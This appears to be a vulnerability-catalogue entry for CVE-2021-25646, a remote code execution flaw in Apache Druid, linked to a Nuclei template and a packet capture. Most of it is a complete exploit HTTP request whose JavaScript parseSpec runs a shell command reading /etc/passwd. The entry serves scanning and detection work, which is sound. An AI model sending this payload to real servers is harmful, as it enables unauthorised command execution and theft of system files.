| Title | Apache Druid - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the latest security patches or upgrade to a patched version of Apache Druid. |
| CVSS Score | 8.8 |
| EPSS Score | 0.94055 |
| CVE ID | CVE-2021-25646 |
| CWE ID | CWE-732 |
| Tags | cve2021 cve apache rce druid vkev vuln |
Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
POST /druid/indexer/v1/sampler HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.11
Connection: close
Content-Length: 822
Content-Type: application/json
Accept-Encoding: gzip
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"odgjxrrrePz",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25646.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25646.pcap
N/AN/A